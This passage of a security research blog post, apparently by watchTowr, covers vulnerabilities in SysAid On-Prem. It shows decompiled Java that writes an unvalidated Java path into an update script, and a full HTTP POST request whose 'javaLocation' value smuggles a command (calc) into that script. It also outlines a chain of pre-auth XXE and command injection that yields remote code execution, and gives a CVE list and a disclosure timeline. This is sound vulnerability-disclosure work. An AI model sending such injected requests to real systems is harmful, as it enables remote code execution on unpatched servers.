49:      printWriter5.write("\\"" + accountStringProperty + "jar\\" -cvf aapi4sysaid.jar -C ../api/classes com\\n");
50:      printWriter5.flush();
51:      printWriter5.close();
52:      if (!isWindows && a("chmod a+x " + str + str6) != 0) {
53:          str2 = resourceBundle.getString("api.grant.permissions") + str + str6;
54:      }
55:      if (a(str + str6) != 0) {
56:          str2 = resourceBundle.getString("api.update.fail.tomcat.logs");
57:      }
58:      return str2;
59:  }
60:  
  • Line [8]: Retrieve the Java installation path by accessing the following property AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION
  • Line [9]: Verify that accountStringProperty is not null before proceeding.
  • Line [40]: Choose the script filename based on the OS isWindows ? "updateApi.bat" : "updateApi.sh";
  • Line [41]: Open a FileOutputStream using str6 as the target script name.
  • Lines [46, 47, 49]: Insert the previously obtained Java path (accountStringProperty) into the script content to automate its execution.

Now, let's test this method and its behaviour in action.

Normally, the content of the updateApi.bat file contains something like the following:

As you can see, C:\\java\\bin\\ is the current Java path, and the remainder of the file contains multiple shell commands that execute Java code to ultimately generate API information about the current SysAid instance.

As you may have spotted in the code sample of the method above, input validation appears to be something that we believe in as an intangible concept, allowing an attacker to trivially inject their commands into the creation of the updateApi.bat file.

This is demonstrated by sending the following request:

POST /API.jsp HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=session
Content-Length: 134

updateApi=false&updateApiSettings=true&javaLocation="%0acalc%0a

This example request demonstrates an HTTP request, specifying a number of POST parameters, but importantly, the javaLocation parameter with a value of "%0acalc%0a - a double-quote followed by a new line, followed by the command we want to execute (calc, in this case) and another newline.

This causes the updateApi.bat file content to become as follows:

As you can see, the calc command is then injected into the generated command saved within updateApi.bat and will be executed without an issue when updateApi.bat is next triggered.

Detection Artefact Generator

As always, we’ve compiled a Detection Artefact Generator to demonstrate and achieve pre-auth RCE.

The Detection Artefact Generator chain is a combination of two vulnerabilities:

  • CVE-2025-2775 - Pre-Authentication XXE 1
    • Which we use to leak plaintext administrator credentials.
  • CVE-2025-2778 - Post-Authentication Command Injection

This piece of art can be found here:

0:00
/0:25

Affected Versions

SysAid On-Prem versions <= 23.3.40 are considered affected and vulnerable to the vulnerabilities detailed in today’s blog post.

A direct link to the SysAid release note can be found here.

CVE Assignment

Thank you to our friends at VulnCheck for reserving the following CVEs (including a CVE for the mystery OS command injection, as we cannot identify an assigned CVE identifier):

  • CVE-2025-2775 (watchTowr) - Pre-Authentication XXE 1
  • CVE-2025-2776 (watchTowr) - Pre-Authentication XXE 2
  • CVE-2025-2777 (watchTowr) - Pre-Authentication XXE 3
  • CVE-2025-2778 (Unknown Reporter) - Post-Authentication OS Command Injection

Although SysAid only mentions 2 XXE vulnerabilities in their changelog, we assume that since the first and second XXE issues (previously explained in detail) are in the same Java class (GetMdmMessage ), SysAid decided they should be counted as one.

Timeline

DataDetail
20 December 2024First XXE vulnerability report sent to SysAid
22 December 2024SysAid responds, stating they are unable to reproduce the XXE and highlights that they have their own vulnerability disclosure terms & conditions they’d like to somehow commit us to.
22 December 2024watchTowr checks with counsel to ensure that it’s still not possible to arbitrarily bind people to random contracts without agreement - counsel confirms that the world has not changed.
03 January 2025More detailed report sent, explaining the complex vulnerability
06 January 2025Two additional XXE vulnerabilities reported
30 January 2025Follow-up email sent, seeking confirmation of received reports
06 February 2025Follow-up email sent
24 February 2025Follow-up email sent
03 March 2025SysAid publishes version 24.4.60 fixing the reported vulnerabilities (no CVEs assigned)
22 March 2025watchTowr CEO messages SysAid CISO on LinkedIn - no response.
25 March 2025watchTowr notifies SysAid that CVEs have been reserved via our friends at VulnCheck
07 May 2025watchTowr publishes research

At watchTowr, we passionately believe that continuous security testing is the future and that rapid reaction to emerging threats single-handedly prevents inevitable breaches.

With the watchTowr Platform, we deliver this capability to our clients every single day - it is our job to understand how emerging threats, vulnerabilities, and TTPs could impact their organizations, with precision.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

Gain early access to our research, and understand your exposure, with the watchTowr Platform

REQUEST A DEMO